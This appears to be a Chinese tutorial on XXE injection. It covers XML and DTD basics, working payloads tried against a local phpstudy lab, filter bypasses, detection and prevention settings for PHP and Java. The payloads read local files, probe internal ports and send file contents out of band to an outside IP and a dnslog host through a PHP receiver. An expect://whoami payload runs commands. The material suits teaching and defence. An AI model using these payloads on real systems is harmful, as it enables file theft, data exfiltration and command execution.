一、XXE 漏洞:
1、XML 概述:
(1)概念:
XML(可扩展标记语言,英文全称:eXtensible Markup Language)是一种用于描述数据结构和交换数据的标记语言。XML是一种非常灵活的语言,可以用于描述各种类型的数据,如文档、图像、音频、视频等。
(2)特点:
1> xml语言是指可扩展标记语言,是一种标记语言,类似于html,html是超文本标记语言
2> xml的设计宗旨是传输数据,html的设计宗旨是显示数据
3> xml标签没有被预定义的,需要自行定义标签,html语言的标签都是被定义好的
4> xml被设计为具有自我描述性
5> xml是w3c的推荐标准
6> xml仅仅是纯文本,他不会做任何事情
7> xml可以自己发明标签(允许定义自己的标签和文档结构)
8> 专门用来存放传输数据的东西
(3)语言格式:
<?xml version="1.0" encoding="UTF-8"?> //xml的声明
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://d:/1.txt" >
]> //DTD部分
<x>&xxe;</x> //xml部分
首先第一句是声明,声明这是一段xml代码,接下来是一个DTD的部分,意思是读取d盘上的1.txt文件。比如我们经常要用到某一组数据,那么每次都引用,肯定是非常不方便的,所以把这组经常用的数据设置成为一个变量,需要的时候直接调用这个变量,通过以上的解释,我们不难看出,xml如果产生漏洞,那肯定就是在这个DTD部分,最后则是xml部分。
2、漏洞概述:
XXE漏洞全称XML External(外部的) Entity(实体) Injection(注入),即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
简而言之就是,外部实体,也就是我们DTD部分中的变量在加载(引用)外部的内容,从而发起了网络请求(本地请求)。
3、漏洞原理:
把用户输入的数据当成xml外部实体代码进行执行,利用xml的外部实体去访问内网,访问本机,访问本机的文件。
二、实例演示:
1、访问文件:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>
2、内网探测:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<x>&xxe;</x>
3、php 伪协议:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
]>
<x>&xxe;</x>
4、若 file 协议被过滤:
(1)payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/xxe/send.dtd">
%file;
]>
<x>&send;</x>
(2)send.dtd 的内容:
<!ENTITY send SYSTEM "file:///d://phpstudy//phpstudy_pro//WWW//1.txt">
4、没有回显的情况:
(1)payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/xxe/send2.dtd">
%dtd;
%send;
]>
(2_1)send2.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.103.130:5566?data=%file;'>"
>
%payload;
或(2_2)send2.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1/xxe/1.php?data=%file;'>"
>
%payload;
(3_1)python 启动服务器:
或(3_2)1.php
<?php
file_put_contents("1.txt", $_GET['data']);
?>
保存的文件为1.txt
(4)进行 base64 解码
5、dnslog:
(1)payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d://phpstudy//phpstudy_pro//WWW//1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/xxe/send3.dtd">
%dtd;
%send;
]>
(2)send3.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://cc.ysgkm6.dnslog.cn?data=%file;'>"
>
%payload;
(3)只能查看是否存在 xxe 漏洞
6、xxe-lab
(1)payload:
<?xml version="1.0"?>
<!DOCTYPE chun [
<!ENTITY admin SYSTEM "file:///d://phpstudy//phpstudy_pro//WWW//1.txt">
]>
<user><username>&admin;</username><password>123</password></user>
(2)回显成功:
7、expect 执行命令:
若开启了 php 拓展,可以执行命令:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>
三、绕过:
(1)ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等
(2)若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过
四、漏洞检测:
1、观察 http 请求头和请求体:
(1)请求头:
(2)请求体:
(3)设置过滤查看 xml 内容:
(4)把请求的请求头和请求体改为 xml 格式再提交,查看页面回显
(5)提交此段内容会有回显 xxe:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b "xxe">
]>
<c>&b;</c>
五、漏洞预防:
-
禁用外部实体扩展(XXE):在XML解析器中禁用外部实体扩展,以防止解析外部实体。具体方法取决于所使用的编程语言和库。
(1)PHP libxml_disable_entity_loader(true); (2)JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
-
仅使用受信任的XML数据:不要接受来自不受信任源的XML数据,或者在接受之前对其进行充分验证和清理。
-
谨慎处理敏感数据:不要在XML中包含敏感信息,尤其是在处理用户输入时。
-
限制XML实体的使用:如果需要使用实体,确保只引用预定义的实体,而不是用户提供的实体。